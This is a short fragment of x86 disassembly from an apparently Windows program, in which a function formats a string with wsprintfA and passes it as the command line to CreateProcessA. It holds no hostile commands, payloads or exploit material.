call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
test esi, esi
je 0x42db16
cmp byte [esi], 0
jne 0x42db16
xor esi, esi
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push esi
push 0
push 0
push 0
push 0
lea edx, [esp + 0x78]
push 0
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
add esp, 0x154
ret 8